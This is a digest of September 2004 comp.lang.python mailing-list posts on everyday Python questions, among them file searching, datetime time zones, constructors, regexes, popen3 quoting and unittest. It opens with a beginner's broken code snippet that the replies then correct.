import os.path import os.dir a = sys.argv[2] b = sys.argv[3] def func (bib, end): c = os.path.dirlist(bib) for x in c: d = os.dir.split(x) if [1] = end print (bib, end) if __name__=="__main__": "Thomas Guettler" <guettli at thomas-guettler.de> wrote in message news:pan.2004.09.29.13.18.28.288793 at thomas-guettler.de... > Am Wed, 29 Sep 2004 11:25:39 +0200 schrieb Peter Hansen: > >> Greetings. >> >> Im trying to write a program that can be run from the command line. >> If I want to search for example after a file with the ending .pdf, I >> should >> be able to write in the command line: >> python name of my program / the libary to search and what kind of file >> it >> is example a .pdf file >> So if my program name was test.py and the library name was library1 and >> the >> test type i wanted to find was, a .pdf file >> I should write python test.py /library1 .pdf > > Hi, > > This is something the "find" command does in a unix environment. > > Here is my solution: > > You could use this: > find.py your_path 'library1.*\.pdf$' > > #!/usr/bin/env python > # -*- coding: iso-8859-1 -*- > > > # Python Imports > import os > import re > import sys > > def usage(): > print """Usage: %s path regex > Print all files or directories with match the regex. > > See this URL for the syntax of the regular expressions > http://docs.python.org/lib/re-syntax.html > > """ % (os.path.basename(sys.argv[0])) > > def visit(regex, dirname, names): > for name in names: > p=os.path.join(dirname, name) > if regex.search(p): > print p > def main(): > if len(sys.argv)!=3: > usage() > sys.exit(1) > path=sys.argv[1] > regex=sys.argv[2] > os.chdir(path) > regex=re.compile(regex) > os.path.walk(".", visit, regex) > > if __name__=="__main__": > main() > From aleaxit at yahoo.com Mon Sep 6 09:21:12 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 15:21:12 +0200 Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <m33c1vejjw.fsf@pc150.maths.bris.ac.uk> Message-ID: <1gjp6ia.h4fjsbsr9z8vN%aleaxit@yahoo.com> Michael Hudson <mwh at python.net> wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > > greg <greg at cosc.canterbury.ac.nz> wrote: > > ... > > > Python does not currently provide any '__xxx__' special methods > > > corresponding to the 'and', 'or' and 'not' boolean operators. In the > > ... > > > There is no such difficulty in the case of 'not', however, and it > > > > Indeed, that's what the strangely-named __nonzero__ special method does: > > it's invoked upon the 'not' operator and in no other case, > > Erm. No. > > >>> class C(object): > ... def __nonzero__(self): > ... print 'hi!' > ... return 1 > ... > >>> if C(): pass > ... > hi! > > Or do I misunderstand what you're saying? Oops, no, you're right, I was wrong -- not sure why I had that misconception in my mind right now... Alex From tim.peters at gmail.com Thu Sep 16 14:45:21 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 16 Sep 2004 14:45:21 -0400 Subject: datetime and tzinfo In-Reply-To: <m2oek6tjnz.fsf@mother.paradise.lost> References: <m2oek6tjnz.fsf@mother.paradise.lost> Message-ID: <1f7befae0409161145323d2709@mail.gmail.com> [John Hunter] > I am using the tzinfo classes from the datetime docs, eg UTC, > USTimeZone, and the instantiations Pacific, Central, Eastern, etc. I > would like to take a datetime instance in the UTC timezone and > construct the equivalent in another time zone. > > Eg, if I am given dt1 in the example below, and the timezone Central > > dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC()) > > I would like to construct the datetime instance dt2 > > dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central) > > which is the same time in a different timezone. > > >>> dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC()) > >>> dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central) > >>> dt1-dt2 > datetime.timedelta(0) > > I've read through the docs at > http://www.python.org/doc/2.3.2/lib/datetime-tzinfo.html but none of > the methods looked just right. > > Is there an easy/right way to do this? Yes, you're just looking in a, umm, suboptimal part of the docs. Since you're trying to construct a new datetime.datetime, the docs for datetime.datetime are the place to look. It's a one-liner: dt2 = dt1.astimezone(Central) After that, >>> print repr(dt2) datetime.datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central) >>> print dt1 - dt2 0:00:00 >>> print repr(dt2.astimezone(Eastern)) datetime.datetime(2004, 9, 12, 10, 22, 24, tzinfo=Eastern) That is, you don't *have* to go thru UTC first; you can start and end in any time zones. From aleaxit at yahoo.com Wed Sep 1 12:25:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 18:25:29 +0200 Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com> Message-ID: <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> Dan Perl <dperl at rogers.com> wrote: ... > > > I can imagine there can be very good languages, with their own uses and > > > advantages, if the reverse principle were consistently used. ... > > even small languages grow, if they're successful. Do you have specific > > examples in mind of very good languages based on "implicit is better > > than explicit"? > > No, I do not have an example, but I still stand by my comment. Maybe it's > just impossible to use the principle "implicit is better than explicit" > consistently because you need at least something explicit. Well, you can imagine anything, including many impossible things, so I guess your original comment is impossible to falsify -- but that very solidity makes it rather weak in information content;-) > > > that, because it comes with the dynamic typing), so you cannot have a > > > default constructor and a non-default one at the same time. C++ and ... > > Not with the same name. You can have all alternative constructors you > > want if you give them different names -- that's a popular use of ... > We may have a disagreement in terminology, but I was using "overloading" in > the C++/Java sense, which means strictly samename, different signatures. Nevertheless, the observation "you cannot have a default constructor and a non-default one at the same time" is not correct. If you want to insist that the constructors MUST all be named __init__, otherwise they're not constructors but "methods which construct but we cannot name constructors because constructors must be named __init__", go ahead, but then, again, we are at an information-free tautology. My point is: you can have any number of "methods which construct" (constructants? I think calling them constructors is more idiomatic English!-), just by choosing the same number of names, one each. So drawing any conclusion from a premise that "you cannot have a default constructor and a non-default one at the same time" is faulty reasoning -- the premise is false (by any meaningful interpretation of the terms in it) so you can prove anything from it. You may want to try and correctly deduce something from the true assertion -- "if you have a default constructor and a non-default one they must have two different names" -- but I don't think anything necessarily follows from this one. > > Java and C++ _could_ mandate a default ctor, but they don't -- it would > > be a very bad design decision for them to do so, and their designers > > aren't THAT bad:-). It's perfectly possible to have a class that just > > CANNOT be constructed without some specific arguments. > > Try this C++ code: > #include <iostream> > class Class1 { > public: > Class1(int arg ) > { > std::cout << "Class1 Constructor" << std::endl; > } > }; > class Class2 : public Class1 { > public: > Class2(int arg) > { > std::cout << "Class2 Constructor" << std::endl; > } > }; > int main(int argc, char **argv) > { > Class2 c2 = Class2(9); > } > > The compiler (I tried gcc) will give an error that the Class1::CLass1( ) > constructor is missing. Sure, this C++ code is faulty. The way gcc diagnoses that error is debatable; I would say the fault is more likely to be a missing " :Class1(someinteger) " between the "Class2(int arg)" and the following open-brace. I've made my life for years in a job where one of my main tasks was helping hundreds of programmers write good C++, I've seen this error often, and the "solution" of adding to Class1 a constructor callable without arguments was very rarely the right one; almost invariably those mandatory arguments in Class1's constructor _WERE_ indeed logically necessary -- the class just could not make instances with meaningful internal state (meeting not just the class invariants, but the "business purpose" of the class) without those arguments. The solution was (if the inheritance between concrete classes just could not be removed in favour of preferable idioms such as Martin's Dependency Inversion Principle) to ensure subclasses specified the needed arguments for their superclasses -- that's exactly what C++'s syntax Class2(int arg): Class1(someint) { ... } is _for_. ("two-phase constructor" and other solutions also emerge here). In brief: given Class1 as it is, you have to call Class1's constructor explicitly in Class2's constructor, just like in Python (but with far less flexibility, because it needs to happen _before_ Class2's constructor body executes -- whence possible needs for two-phase constructor and the like). > Without the non-default Class1 constructor, the > compiler would have created a default constructor, IMPLICITLY. Note that > even C++ chooses not to create the implicit, default, constructor anymore if > you have a non-default constructor. You have to do it explicitly, even if > it's an empty one. Or more likely, you have to call Class1's constructor explicitly from Class'2 constructor. But sure, C++ does have more implicit, "black magic" behavior "behind the scenes" than Python in quite a few aspects (though not an unbounded amount) -- the implicit no-arguments do-nothing constructor is NOT an example, because the result is exactly the same you get in Python if you have no __init__ at all. > Anyway, in C++, if I write a library with a class like Class1, I can create > a default constructor to initialize all the members with default values if > there is no need for non-default values. C++ gives me that possibility. A > user of my library (who will never know me) can use this library and does > not need to know anything about the Class1 constructor. This is consistent > with the principle of encapsulation, so subclasses don't need to know > anything about how the superclass is implemented. Encapsulation does not mean you can use a class without knowing its public methods (including constructors). In particular, inheritance is a strong coupling, and the superclass must document if it's meant to be inherited from, with what constructors, what virtual methods allowable for override, and so on. > Not in Python. A user of my library has to invoke the parent's class > __init__ in their own __init__. What happens if, in a future release, I get > rid of the __init__ in the parent class? Or the other way around. An early > release does not have a parent __init__, the users don't invoke it because > they can't, and then, in a future release, I add the parent __init__ because > I added some attributes. It breaks all the users' code. This is poor > encapsulation. What (public or protected, in C++) constructors your class has, and with what arguments, is part of your class's public interface -- of _course_ it's going to break the code of anybody who uses that interface, if you change the interface between releases. This is also true in C++, of course. If you want to follow the popular convention of making all your classes 'canonic' -- all purvued of default ctor, copy ctor, virtual dtor, default assignment -- you can, but if you make that choice and publish it (and you'd better publish it, otherwise how are users of your library going to take any advantage from its existence?!) then you need to stick with it forevermore or break users' code. Similarly, in Python, if you want to guarantee to users that all your classes have an __init__ which may be called without arguments, nothing at all stops you from doing that -- and then you need to stick to that published interface aspect, of course. There are many ways in Python in which you can guarantee that all your classes have an __init__ which can be called without arguments. If you need __init__ to be also callable WITH arguments, then make the arguments optional and check whether they are there -- or give them all default values just like you could do in C++ (in C++ the default ctor is not necessarily one "without arguments" -- it can also have arguments as long as they all have default values). Or go for clarity and make __init__ argument-less, using classmethods for all other constructors, as you'd doubtlessly do in Smalltalk, for example. The real problem is distorting all of your design to ensure all your classes can have instances with a sensible initial state when instantiated without arguments -- I think that's far too heavy a price to pay. Consider for example a Person class. You know all persons have a SSN (Social Security Number), so how can you instantiate Person without making an SSN argument mandatory? Basically only by inventing a weird state for Person instances which is "not fully initialized yet because the SSN is not known" -- and then ALL methods which could normally count on the class invariant "instance has a valid SSN" cannot count on that class invariant any more, must check and contort everything in sight. What a horrid way to program. It is quite common to get into this bind if you adhere to the religion of giving EVERY class a default ctor, because semantically significant classes as they come from a good design will OFTEN have aspects that it just makes no business-logic sense to "default" -- so you end up with flags &c to say "this is a PhoneNumber class instance but it doesn't actually have a number so you can't use it yet until it's fully initialized", "this is a MailingAddress class instance but [ditto]", and so on ad nauseam. No thanks! > I think this IS a case where "implicit is better than explicit". No way: by implicitly trying to call a parent class's default ctor in any subclass's ctor, C++ is encouraging you to make default ctors everywhere, and far too often it's better not to have them. Make ctor calls explicit and live happily. I've already explained how you can simulate C++'s behavior, and indeed get even MORE implicit if you wish, and I think it would be a disaster to USE such a custom metaclass; but if you're sincere in saying it's better then you should be KEEN to use it. I'm supposed to do other things this evening (changing some scripts to generate DocBook rather than XHTML from some semantic-level markup -- fun, fun, fun...;-) but maybe I'll find the time to take a break and show you the custom metaclass you need to perpetrate this horror, since you state it's "better" than Python's explicitness -- no promises tho... Alex From szmyd at colostate.edu Thu Sep 9 23:18:56 2004 From: szmyd at colostate.edu (Brian Szmyd) Date: Thu, 09 Sep 2004 21:18:56 -0600 Subject: Regular Expressions Problem References: <808f000f.0409091048.36488ec5@posting.google.com> Message-ID: <dLOdnVs1apLwgNzcRVn-hg@comcast.com> Oriana wrote: > Hi! > > I'm trying to 'clean up' this source file using regular expressions > in Python. My problem is, that when I try to delete extra lines, my > code fails. Here's an example.... > > /** > * > * Project: MyProject > * > * > * > * > * > * > * > * Description: > * > * This file contains the some code. > * > * Public Functions: > * > * function_1 > * function_2 > * > * Private Functions: > * > * None. > * > * > * Notes: > * > * None. > * > * > * > *************************************************************************/ > > > .....I would like my code to only have one * space between lines, and > not all that white space that I see there. I tried to use the regular > expression: '^\*\n$^\*\n$' but that does not work. I've tried a bunch > of things and none of them seem to work....please help!!! Thanks in > advance, Oriana Are you reading in the file line by line? If so, why not just have a flag that states you've seen a empty line, and then if the flag is true, do not output any more empty lines till you see a non-emtpy line? Pseudo-Code: fp = openfile($filename) op = openfine($newfile) emptyline = 0 while(not fp.eof()) line = fp.readline() if (isEmpty(line)) if(emptyline) continue emptyline = 1 else emptyline = 0 op.writeline(line) Of course you'll have to decide how you want isEmpty() to decide if a string is an empty line, but this should be pretty painless. -regards brian szmyd From brandon at ten22.rhodesmill.org Thu Sep 9 11:33:30 2004 From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes) Date: Thu, 09 Sep 2004 11:33:30 -0400 Subject: limiting symbols in C module Message-ID: <877jr3e9th.fsf@ten22.rhodesmill.org> Python modules written in C are often written as single .c files (sometimes quite large) so that everything can be declared "static" except for the init<module>() function; and though the Extending and Embedding document is unfortunately rather quiet on the many issues that arise during linking, the suggestion seems to be that minimizing the number of symbols exported by the module is good. As I update a Python module that provides an interface to an extensive collection of existing C functions, I note that the process of linking my module .o with all of the .o files produced by compiling the other code produces a Python module with a huge number of symbols. 1) Is this bad and should be avoided? I note that running strip(1) with the "-K" option allows me to strip all defined symbols from the module except for the one init<module> symbol that I want to keep. 2) Do the distutils know how to perform this operation? This would even allow Python modules to be written as several manageable .c files rather than one huge one. 3) Can the distutils be induced to perform such a strip even if they do not quite know how themselves, or is the whole issue going to be different enough on, say, Windows, that it cannot be handled portably with the distutils in their current form? -- Brandon Craig Rhodes brandon at rhodesmill.org http://rhodesmill.org/brandon From deetsNOSPAM at web.de Tue Sep 14 09:20:54 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Tue, 14 Sep 2004 15:20:54 +0200 Subject: comparing datetime with date References: <mailman.3292.1095162740.5135.python-list@python.org> Message-ID: <ci6r7k$gav$03$1@news.t-online.com> Donnal Walter wrote: > I was very surprised to discover that > > >>> import datetime > >>> x = datetime.date(2004, 9, 14) > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) > >>> print x == y > True I think thats perfectly legal - a date object should care only about if the object it is compared to contains some sort of valid date information, and restrict its comparision to that. The matter is that you try to compare two different things here - so its up to the implementation if how it deals with this, as there is no canonical way to compare two things that aren't even structural equivalent. The current implementation chose one way to do it - and thats as good as any other one could think of, and certainly has some convenience advantage on its side. > How can these two objects be considered equal? Is there a *general* way > to test for date != datetime as well as 4.5 != 4.6? Try making a datetime-object from your date, with zeros for the time part - then you'll get what you want. -- Regards, Diez B. Roggisch From adeger at netlibrary.com Tue Sep 21 16:50:48 2004 From: adeger at netlibrary.com (adeger) Date: 21 Sep 2004 13:50:48 -0700 Subject: Add other class attributes to HTMLgen tags? Message-ID: <b8001e9f.0409211250.4017f0d5@posting.google.com> For use of CSS how do I do something like insert a 'class' attribute into an HTML tag like: <TABLE class='standard'></TABLE> I've really made a good faith effort to find this in the documentation and elsewhere on the web with no luck. Thanks in advance, ard From carribeiro at gmail.com Fri Sep 24 10:08:22 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 11:08:22 -0300 Subject: up with PyGUI! In-Reply-To: <Xns956D93ADD811BOKB@130.133.1.4> References: <mailman.3318.1095180577.5135.python-list@python.org> <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <Xns956D93ADD811BOKB@130.133.1.4> Message-ID: <864d3709040924070873d4708f@mail.gmail.com> On 23 Sep 2004 21:31:10 GMT, OKB (not okblacke) <brennospambarn at nobrenspambarn.net> wrote: > I've recently been working on a system that lets you do that kind > of thing. It's a set of metaclasses that wrap the wxPython classes so > you define your GUI with nested class structures. Certain things are > hard here because of the way class definitions are handled in Python, > but I am making progress. I think I have solved the first half of your problem. Please check my "Call for suggestions" post from yesterday. I implemented a Container metaclass that can take nested class declarations and generate a representation with a few important features: -- it's ordered (in the same order as the original declarations in the source code) -- all nested classes are converted to instances Please check it, and let me know if you're interested. I'm focusing my work on this part now, I'm purposefully not dealing with the GUI; I have my own ideas regarding the GUI part, but let us solve one problem at a time, right? > If anyone's interested, you can see an example of what the GUI code > looks like at http://www.brenbarn.net/misc/idealgui.txt . This is code > that actually produces a working program with my current setup. It > won't work for anyone else, of course, because I haven't made my library > available yet. My main goal here, though, is to get it so the code > LOOKS nice, so just seeing how the code looks will give you an idea of > the style. It seems like we're looking for similar solutions. I'm looking for more people to start a separate discussion to avoid spamming c.l.py. Please drop me a note if you're interested. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From joshl at commenspace.org Mon Sep 20 16:11:58 2004 From: joshl at commenspace.org (Josh) Date: Mon, 20 Sep 2004 13:11:58 -0700 Subject: urlretrieve hangs on large files (sometimes) Message-ID: <2QG3d.18$ZC3.38058@news.uswest.net> Hi. I am writing a script that downloads lots of zips from a usgs site. All is going well except that occasionally, in the midst of downloading a file, the script just hangs and i must either ctrl-break it (running from command line) or, if I wait about 20 minutes after it hangs, even that won't allow me to close it. Either way, I must then restart the program and have it pick up where it left off. I don't know much about python or http, but I believe that the problem is website sometimes does not respond to the 'get' (or whatever urlretrieve ) request is in a timely manner: certainly the site sometimes takes a bit of a break even when downloading with IE, for example. However IE or other download managers continue -- my python script just hangs. Here is the relevant code, I think: out = file(outFile, "wb") (filename, headers,) = urllib.urlretrieve(dlinks[count], outFile, reporthook=report) out.close() I am making a haphazard guess that somewhere in the bowels of urlretrieve there is a timeout setting for the http get command, and if the site does not respond in time it gets all upset and confused. Whether I am wrong or right -- any suggestions? Thanks a lot. -Josh From nicolas at lehuen.com Wed Sep 1 04:36:57 2004 From: nicolas at lehuen.com (Nicolas Lehuen) Date: 1 Sep 2004 01:36:57 -0700 Subject: Generator expressions v/s list comprehensions References: <mahesh-525B07.12195528082004@individual.net> <5d83790c.0408311434.3cc38c24@posting.google.com> Message-ID: <b644658b.0409010036.5300b62@posting.google.com> python at rcn.com (Raymond Hettinger) wrote in message news:<5d83790c.0408311434.3cc38c24 at posting.google.com>... > [Mahesh Padmanabhan] > > Now I see that generator expressions have been added to the language > > with 2.4 and I question the need for it. I know that it allows for lazy > > evaluation which speeds things up for larger lists but why was it > > necessary to add it instead of improving list comprehension? > > FWIW, we improved list comprehensions too. They run much faster now. > > > Raymond IIRC, list constructors and list comprehensions now use the length of the underlying sequence (if it defines __len__) to preallocate its internal array. Thus, the list comprehension is theoritically more efficient in this case : [x for x in range(100000)] vs [x for x in xrange(100000)] So [x for x in whatever] may be preferable to list(x for x in whatever) if you don't know what 'whatever' is and it happens in define __len__. BTW, I guess this is no longer true with an if statement : [x for x in range(100000) if x%2==0] may be less efficient than [x for x in xrange(100000) if x%2==0] Regards, Nicolas Lehuen From carribeiro at gmail.com Fri Sep 17 11:26:54 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 17 Sep 2004 12:26:54 -0300 Subject: Economic considerations In-Reply-To: <m3acvp38zv.fsf@g2ctech.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us> <m3acvp38zv.fsf@g2ctech.com> Message-ID: <864d370904091708266effa3b0@mail.gmail.com> On Thu, 16 Sep 2004 23:49:24 -0300, Jorge Godoy <godoy at ieee.org> wrote: > claird at lairds.us (Cameron Laird) writes: > > Incidentally, my expert sources emphasize to me that GIMP still > > has a long way to go before it effectively rivals Photoshop. > < (snip) > In fact, we might already have tools to do everything Photoshop does. > The difference is that we try to keep it simple (KISS) and bundle > several specialized tools, while Photoshop tries to be a swiss army > knife, bundling everything together. While true to a certain extent, this is not the problem. As I've mentioned in another thread, this is a case where the closed source application is simply superior in technical terms. It's not only packaging -- it works better, more efficiently, and has better algorithms specially when it comes to color mapping between devices, and anything that involves perceptual color models and management. > I'm hearing more the FUD of "I want to use Linux but then I have to use > one thousand commands and programs to get the same results I get with > <proprietary program> on <proprietary OS>". With all respect, this is not FUD. It's based on fact. In *many* cases the OS app is not conveniently packaged. Part of this is that most people that use OS apps are used to (and even like) having to glue everything together. No we're going completely offtopic, but anyway, why not? :-) I think everyone can relate with a joke about cars and people that work with cars. Often we see people that work everyday with cars -- specially mechanics -- driving cars that, from any reasonably perspective, are a complete mess. Doors hanging semi-opened are not unheard of :-). But the car works, and his owner actually likes that mess. I think we can see some of this in OS apps. Those who know how they are implemented derive a certain pleasure from the fact that they can look at the inside whenever they can, mess up with settings, and stuff like that. Those who want a car -- or an OS, or an application -- only for actual use doesn't like this, and prefer something nicely packaged, that hides all details, and simply works, and don't embarass them in front of friends and family :-). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From luismg at gmx.net Fri Sep 24 22:48:28 2004 From: luismg at gmx.net (Neuruss) Date: 24 Sep 2004 19:48:28 -0700 Subject: Python GUI, which one? References: <mailman.3841.1096027498.5135.python-list@python.org> <Y5OdnbGC-vMNgMncRVn-iQ@powergate.ca> Message-ID: <278de0e.0409241848.47bdc650@posting.google.com> I only know 3: 1) Boa Contructor 2) PythonCard 3) BlackAdder (commercial) Boa seems to be the more complete and popular, but I found it very cluttered and confusing. I confess I'm a little bit impatient so perhaps I should have tried harder...other people think it's great. Pythoncard is a joy to work with. Very easy to learn and use, very simple (it sticks to the KISS principle). I highly recommend it, although it may not be as complete as Boa. These two are based in wxPython, so they are cross-platform and both will give your apps a native look and feel. As for BlackAdder, it is commercial and is based in QT. It doesn't give you a native look in windows but it's ok anyway. I can't say much because the trial version has a very annoying way of working (it doesn't let you save your work and it closes every few minutes, so you never get anything done with it...). From greg at invalid.invalid Fri Sep 10 03:09:47 2004 From: greg at invalid.invalid (Greg Krohn) Date: Fri, 10 Sep 2004 07:09:47 GMT Subject: Can we use /MAKE inside the popen3 command? In-Reply-To: <82880e86.0409092112.2176b26f@posting.google.com> References: <82880e86.0409092112.2176b26f@posting.google.com> Message-ID: <%qc0d.11951$w%6.7789@newsread1.news.pas.earthlink.net> Ruchika wrote: > Is it OK to use "/" or "-" characters in a string and then use that > string inside the popen3 command? I am doing the following - > > os.popen3('r'"C:\Program Files\... \EVC.exe"' > r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release" > /REBUILD"') > > When I run this command in the Python shell, it says - "Syntax Error" > and the marker is uderneath the "-" in "GFSDK - Win32 (WCE ARMV4) > Release". Not sure if the marker is actually pointing to specifically > "-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string. > Anyone else came across similar problem? > > Thanks for your help. > > Ruchika You've got a whole mess of strings there. They need to be straightened out. ;) If you are using r for raw string you only need it once at the beginning, and it doesn't go inside the quotes. So, after all that's fixed we get: os.popen3(r'"C:\Program Files\... \EVC.exe" "C:\Test\...\Test.vcp" /MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD') Here's a few free suggestions at no extra charge. You don't really need to use raw strings for Windows paths. Using forward slashed as always worked fine for me. Also, it might be a good idea to split up the long line, too. So this is how I would do it: evc = '"C:/Program Files/... /EVC.exe"' vcp = '"C:/Test/.../Test.vcp"' switches = '/MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD' os.popen3(evc + ' ' + vcp + ' ' + switces) Or better yet: os.popen3('%s %s %s' % (evc, vcp, switches)) HTH, greg From aleaxit at yahoo.com Mon Sep 13 03:15:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 09:15:06 +0200 Subject: unittest.TestCase, lambda and __getitem__ References: <mailman.3214.1095049956.5135.python-list@python.org> Message-ID: <1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com> Steven Bethard <steven.bethard at gmail.com> wrote: ... > Previously, I had written some code like: > > self.assertRaises(ValueError, lambda: method(arg1, arg2)) > > This was a simple fix because assertRaises takes *args and **kwds, so > I fixed it to look like: > > self.assertRaises(ValueError, method, arg1, arg2) > > which is much cleaner anyway (and what I should have been doing from Agreed. > the start). Where I get uneasy is when I run into code like: > > self.assertRaises(ValueError, lambda: obj[index]) > > Presumably, I could write this as: > > self.assertRaises(ValueError, obj.__getitem__, index) > > I guess this makes me uneasy because I'm not entirely certain that > obj[item] is *always* translated to obj.__getitem__(index). Is it? Yes. > That is, is there any way that obj[item] would get translated into a > different method call? No. > Or is there a better/clearer way of handling this kind of test case? Sure: def wrong_indexing(): return obj[index] self.assertRaises(ValueError, wrong_indexing) Whatever you can do with self.assertRaises(X, lambda: YZT) you can (essentially idenfically) do with the two statements: def anyname(): return YZT self.assertRaises(X, anyname) If you have a series of slightly different lambdas on several assertRaises calls, you can reuse the same name (if that makes sense), since another def for the same name simply rebinds the name, just like multiple successive assignments to the same name would. Often you may respect "once, and only once" better by factoring several lambdas into a single def with an argument or two, of course. But for a mechanical transformation changing each lambda into one def works just fine, and I think it's preferable in terms of reliability to delving into internals to find out what special methods get called when. Besides, the delving approach may be far from trivial if you ever try to translate something like lambda:x+y since in THAT case you cannot necessarily tell what method gets called on what object (__add__ on x, or __radd__ on y?) -- here you might try operator.add, but what then about lambda:x+y*z ...? Alex From donnal at donnal.net Thu Sep 16 06:39:45 2004 From: donnal at donnal.net (Donnal Walter) Date: Thu, 16 Sep 2004 05:39:45 -0500 Subject: comparing datetime with date In-Reply-To: <cibk8f$oat$1@swifty.westend.com> References: <mailman.3292.1095162740.5135.python-list@python.org> <ci6r7k$gav$03$1@news.t-online.com> <cibk8f$oat$1@swifty.westend.com> Message-ID: <cibqhi$ne1$1@sea.gmane.org> Peter Maas wrote: > Diez B. Roggisch schrieb: > >> The matter is that you try to compare two different things here - so >> its up >> to the implementation if how it deals with this, as there is no canonical >> way to compare two things that aren't even structural equivalent. > > > datetime and date are different by implementation, not by meaning. Both > are time intervals. Actually both are time *points* (as opposed to time intervals) with differing degress of precision. My problem is somewhat akin to comparing 4.0 with 4.00001. For some purposes it might be appropriate to consider these two values to be the same, but I need for them to be different. Donnal Walter Arkansas Children's Hospital From tim.peters at gmail.com Wed Sep 15 16:45:41 2004 From: tim.peters at gmail.com (Tim Peters) Date: Wed, 15 Sep 2004 16:45:41 -0400 Subject: .py as executable extension on windows In-Reply-To: <cia8p4$i1j$02$1@news.t-online.com> References: <cia8p4$i1j$02$1@news.t-online.com> Message-ID: <1f7befae04091513456b10c8d1@mail.gmail.com> [Achim Domma] > is there a way to tell windows, that *.py files are executable, like > .bat, .js, ...? If I have someTool.py somewhere in my path I would like > to type only 'someTool param1 param2'. Is that possible? Not on a command.com system (95/98/ME). On a cmd.exe system (NT/2K/XP), go to a DOS box and type ftype /? Skip down to the part explaining PATHEXT. From lynn at garlic.com Thu Sep 9 12:29:16 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 09 Sep 2004 10:29:16 -0600 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <uisaoutfz.fsf@mail.comcast.net> <slaphc.beh1.ln@via.reistad.priv.no> <u1xhbv9s3.fsf@mail.comcast.net> <r5sphc.a4l1.ln@via.reistad.priv.no> Message-ID: <usm9rtnhf.fsf@mail.comcast.net> Morten Reistad <firstname at lastname.pr1v.n0> writes: > In 1987 T1's(or E1's in this end of the pond) were pretty normal; > T3's was state of the art. But it is not very difficult to design > interfaces that shift the data into memory; and 1987'is cumputers > could handle a few hundred megabit worth of data pipe without too > much trouble; but you needed direct DMA access, not some of the > then standard busses or channels. > > IBM always designed stellar hardware for such things; what was > normally needed was the software. To see what Cisco got away with > regarding lousy hardware (GS-series) is astonishing. > > There was a large job to be done to handle routing and network > management issues. BGP4 didn't come out until 1994, nor did > a decent OSPF or SNMP. even in mid-80s .... t1/e1 ... the only (ibm) support was the really old 2701 and the special zirpel card in the Series/1 that had been done for FSD. in fall 1986, there was a technology project out of la gaude that was looking at a T1 card for the 37xx ... however, the communication division wasn't really planning on T1 until at least 1991. They had done a customer survey. since ibm (mainframe) didn't have any T1 support ... they looked at customers that were using 37xx "fat pipe" support that allowed ganging of multiple 56kbit into single logical unit. they plotted the number of ganged 56kbit links that customers had installed .... 2-56kbit links, 3-56kbit links, 4-56kbit links, 5-56kbit links. However, they found no customers with more than five gnaged 56kbit links in a single fat-pipe. Based on that they weren't projecting any (mainframe) T1 useage before 1991. what they didn't appear to realize was that the (us) tariffs at the time had cross-over where five or six 56kbit links were about the same price as a single T1. so what was happening ... customers that hit five or six 56kbit links ... were making transition directly to T1 and then using non-IBM hardware to drive the link (which didn't show up on the communication divisions 37xx high-speed communication survey). hsdt easily identified at least 200 customers with T1 operation (using non-ibm hardware support) at the time the communication division wasn't projecting any mainframe T1 support before 1991. because of the lack of T1 support (other than the really old 2701 and the fairly expensive zirple-series/1 offering) ... was one of the reasons that the NSFNET1 response went with (essentially) a pbx multiplexor on the point-to-point telco T1 links ... with the actual computer links running 440kbits/cards with the pc/rt 440kbit/sec cards. hsdt http://www.garlic.com/~lynn/subnetwork.html#hsdt had several full-blown T1 links since the early 80s ... and was working with a project for a full-blown ISA 16-bit T1 card ... with some neat crypto tricks. I think it was supercomputing 1990 (or 1991?) in austin where they were demo'ing T3 links to offsite locations. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From ark at acm.org Tue Sep 7 01:21:04 2004 From: ark at acm.org (Andrew Koenig) Date: Tue, 07 Sep 2004 05:21:04 GMT 